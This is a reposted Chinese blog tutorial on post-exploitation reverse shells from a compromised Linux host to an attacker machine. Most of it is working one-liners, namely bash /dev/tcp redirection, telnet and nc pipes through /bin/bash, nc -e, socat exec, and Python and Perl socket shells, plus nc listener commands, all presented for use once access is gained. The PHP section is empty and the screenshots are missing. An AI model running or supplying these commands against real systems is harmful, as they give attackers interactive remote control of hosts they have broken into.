本文介绍: 当我们拿到一台LINUX主机权限时,往往都需要反弹公网服务器上,一般我们使用bash反弹的情况居多,但是bash也有失灵的时候。在这种情况下,我们可以尝试使用其他的反弹语句来达到我们的目的。

作者名:白昼安全
主页链接主页传送门
座右铭:
不要让时代的悲哀成为你的悲哀
专研方向web安全,后渗透技术
每日鸡汤: 
宇宙宇宙的规律,我也有我的坚持

我们拿到一台LINUX主机权限时,往往都需要反弹公网服务器上,一般我们使用bash反弹的情况居多,但是bash也有失灵的时候。在这种情况下,我们可以尝试使用其他的反弹语句来达到我们的目的。

下面给大家列举一些平时用的比较多的shell反弹方法

这里的演示环境

目标机器centos        192.168.149.133 

攻击机器kali          192.168.149.129

 一、Bash反弹

条件

当前用户有足够的权限执行bash命令

当前shell环境需要是bash shell下,不是bash shell的话会导致报错提示没有目录文件夹

例如kali默认的就是zsh shell,所以如果想把kalishell用bash弹出去的话需要先用bash命令进入bash shell才能使用bash反弹shell,如下

 1、攻击机上执行监听

nc -lnvp port

port“为监听端口号

2、目标机器使用bash反弹shell

bash -i >& /dev/tcp/x.x.x.x/port 0>&1

bash –i 打开一个交互bash

>& 将标准错误输出重定向标准输出

/dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port端口

0>&1 标准输入重定向标准输出实现你与反弹出来的shell的交互

 

 3、效果如下

二、telnet反弹

Telnet 是一种用于远程登录计算机系统网络协议命令行工具使用 Telnet,您可以本地计算机打开终端窗口然后通过 Internet 或局域网连接到其他计算机

Telnet 命令用于连接远程计算机并执行各种操作,例如运行命令编辑文件查看系统信息。您可以使用 Telnet 客户端应用程序来发起 Telnet 会话,并在会话期间发送命令接收输出。简单来说就是ssh的前身

条件目标机器存在telnet服务 

1、 攻击者主机打开两个终端分别执行监听

nc -lnvp port1
nc -lnvp port2

监听两个端口分别用来输入和输出,其中x.x.x.x均为攻击者i

2、目标主机中执行

telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555

3、效果如下

 在4444的监听终端输入指令即可在5555的监听终端查看指令结果

 三、nc反弹

1、支持e参数

如果目标机器上的nc支持e参数,如下可以直接反弹

攻击机执行

nc -lnvp 端口

目标机器执行如下命令反弹shell

nc -e /bin/bash x.x.x.x port 

 效果如下

 2、不支持-e参数

这里讲的就是另外一种情况,目标机器上有nc,但是nc的版本支持e参数,这里就给大家介绍一个技巧——NC串连

kali攻击机上开启两个终端监听不同端口分别用于接收输入和输出

 

目标机器使用nc串联反弹权限 

nc 客户端的ip 第一个端口|/bin/bash |nc 客户端的ip  第二个端口


 

详细给大家讲一下服务端执行这条命令的意思 

语句的前半部分服务端nc将shell回弹到客户ip的第一个端口,此时客户端开启对第一个端口的监听并成功建立连接(但这里并不是交互式shell,看不到命令执行的结果),语句后半部分意思就是将用户一个端口建立的shell上的命令执行结果作为第二个端口的输出内容,此时用户再用客户端nc监听并连接第二个端口,这样就可以实现击者在第一个端口输入命令,在第二个端口就能看到命令执行的结果

效果如下

 这样我们再4567端口的监听页面输入的命令的回显结果就会在1234端口的监听页面显示

这招巨好用大家可以看看或者下去自己试一下 

四、socat反弹

socat是一个用于数据转发命令行工具,它可以两个端口之间建立虚拟通道,将数据一个端口转发到另一个端口,同时支持很多网络协议

1、攻击机开启监听

2、目标机器使用socat反弹shell

 执行如下命令

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:x.x.x.x:port

 x.x.x.x是攻击机的ip

port是攻击机开启的监听端口

 3、效果如下

 五、Python反弹

1、攻击机开启监听

 nc -lnvp port

这里用的是

nc -lnvp 1234 

2、目标机器使用python反弹shell

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('x.x.x.x',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

  x.x.x.x是攻击机的ip

port是攻击机开启的监听端口

 

3、效果如下

六、PHP反弹

 

1、攻击机开启监听

nc -lnvp port

2、目标机器上使用php反弹shell

 

3、效果如下

七、Perl反弹 

1、攻击机开启监听

nc -lnvp port

2、目标机器上使用perl反弹shell

perl -e 'use Socket;$i="x.x.x.x";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

 

即可成功拿到目标shell,效果与php反弹shell差不多,文章篇幅原因就不附图了

原文地址:https://blog.csdn.net/qq_63844103/article/details/130717506

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任

如若转载,请注明出处:http://www.7code.cn/show_15377.html

如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱suwngjj01@126.com进行投诉反馈,一经查实,立即删除

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注